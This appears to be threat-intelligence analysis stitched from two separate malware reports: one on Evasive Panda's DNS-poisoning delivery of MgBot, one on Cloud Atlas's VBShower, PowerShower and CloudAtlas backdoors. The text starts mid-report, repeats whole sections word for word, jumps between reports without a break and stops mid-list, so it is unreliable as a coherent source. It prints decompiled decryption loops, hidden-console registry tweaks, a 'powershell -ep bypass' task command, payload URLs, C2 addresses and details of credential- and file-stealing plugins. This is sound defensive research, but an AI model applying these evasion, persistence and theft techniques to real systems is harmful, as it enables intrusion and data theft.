After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Decryption of the configuration in the injected MgBot implant

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

Decryption routine of encrypted strings

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

Downloading a payload from the web resource

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

General overview of storing payload on disk by using hybrid encryption

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Decryption of the configuration in the injected MgBot implant

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection

The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo

Malicious template with the exploit loaded by Word when opening the document

We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.

Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.

This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:

Malware execution flow

Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:

• HTA file
• VBShower::Launcher
• VBShower::Cleaner

In this research, we’ll focus on new and updated components.

VBShower

VBShower::Backdoor

Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.

VBShower::Payload (1)

The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.

VBShower::Payload (1)

VBShower::Payload (2)

The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:

wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs

It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask

The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

Here is an example of the information present in the v_buff variable:

Libraries:
desktop.ini-175|
MicrosoftEdgeUpdate.vbs-2299|
RecordedTV.library-ms-999|
upgrade.mds-32840|
v.log-2299|

The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.

VBShower::Payload (2) used to install VBCloud

Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.

In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.

Here is an example of information to be sent to the C2 server:

vlc:
a.xml-969608|
b.xml-592960|
d.xml-2680200|
e.xml-185224||
access:
c.xml-5951488|

In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.

VBShower::Payload (2) used to install CloudAtlas

VBShower::Payload (3)

This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.

These files are copied by VBShower::Payload (3) to the following paths:

Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:

cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine

Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).

VBShower::Payload (3) used to install CloudAtlas

VBShower::Payload (4)

This script was previously described as VBShower::Payload (1).

VBShower::Payload (5)

This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:

GET-https://webdav.yandex.ru|
200|
<!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...

VBShower::Payload (5)

VBShower::Payload (6)

This script was previously described as VBShower::Payload (2).

VBShower::Payload (7)

This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.

VBShower::Payload (7)

VBShower::Payload (8)

This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:

1. Creates registry keys to make the console window appear off-screen, effectively hiding it:
   

   "HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122
   "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692

2. Creates a “MicrosoftAdobeUpdateTaskMachine” scheduler task to execute the command line:
   

   powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1

3. Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
4. Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
   

   cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine

VBShower::Payload (8) used to install PowerShower

The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.

Content of AdobeMon.ps1 (PowerShower)

VBShower::Payload (9)

This is a small script for collecting information about the system proxy settings.

VBShower::Payload (9)

VBCloud

On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.

VBCloud::Launcher

The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.

VBCloud::Launcher

VBCloud::Backdoor

The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.

VBCloud::Payload (FileGrabber)

Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.

The FileGrabber payload has the following limitations when scanning for files:

• It ignores the following paths:
  • Program Files
  • Program Files (x86)
  • %SystemRoot%
• The file size for archiving must be between 1,000 and 3,000,000 bytes.
• The file’s last modification date must be less than 30 days before the start of the scan.
• Files containing the following strings in their names are ignored:
  • “intermediate.txt”
  • “FlightingLogging.txt”
  • “log.txt”
  • “thirdpartynotices”
  • “ThirdPartyNotices”
  • “easylist.txt”
  • “acroNGLLog.txt”
  • “LICENSE.txt”
  • “signature.txt”
  • “AlternateServices.txt”
  • “scanwia.txt”
  • “scantwain.txt”
  • “SiteSecurityServiceState.txt”
  • “serviceworker.txt”
  • “SettingsCache.txt”
  • “NisLog.txt”
  • “AppCache”
  • “backupTest”

Part of VBCloud::Payload (FileGrabber)

PowerShower

As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.

Decoded PowerShower script

In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.

PowerShower::Payload (1)

This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.

PowerShower::Payload (2)

This script is used for grabbing files with metadata from a network share.

PowerShower::Payload (2)

CloudAtlas

As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".

When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.

Encrypted and decrypted loader configuration

The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.

Main routine that processes the payload file

When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.

Encrypted and decrypted CloudAtlas backdoor config

Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.

HTTP requests of the CloudAtlas backdoor

The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.

HTTP requests from the CloudAtlas backdoor

The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.

Plugin setup and execution routine

Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.

CloudAtlas::Plugin (FileGrabber)

FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:

• Stealing files from all local disks
• Stealing files from the specified removable media
• Stealing files from specified folders
• Using the selected username and password from the command block to mount network resources and then steal files from them

For each detected file, a series of rules are generated based on the conditions passed within the command block, including:

• Checking for minimum and maximum file size
• Checking the file’s last modification time
• Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
• Checking the file name or extension against a list of patterns

Resource scanning

If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.

Generating data for sending to C2

CloudAtlas::Plugin (Common)

This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.

1. Command ID 0: Creates, sets and closes named events.
2. Command ID 1: Deletes the selected list of files.
3. Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
4. Command ID 3: Capable of performing several operations together or independently, including:
   1. Dropping several files on disk with content and paths selected in the command block arguments
   2. Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
   • Using the WinExec function
   • Using the ShellExecuteW function
   • Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
5. Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
6. Command ID 5: Calls the ExitProcess function.
7. Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.

Content of the dropped VBS

CloudAtlas::Plugin (PasswordStealer)

This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.

Part of the function for parsing JSON and sending the extracted data to C2

CloudAtlas::Plugin (InfoCollector)

This plugin is used to collect information about the infected system. The list of commands is presented below.

1. Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
2. Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
3. Command ID 0xFFFFFFF2: Collects information about installed products.
4. Command ID 0xFFFFFFF3: Collects device information.
5. Command ID 0xFFFFFFF4: Collects information about logical drives.
6. Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:

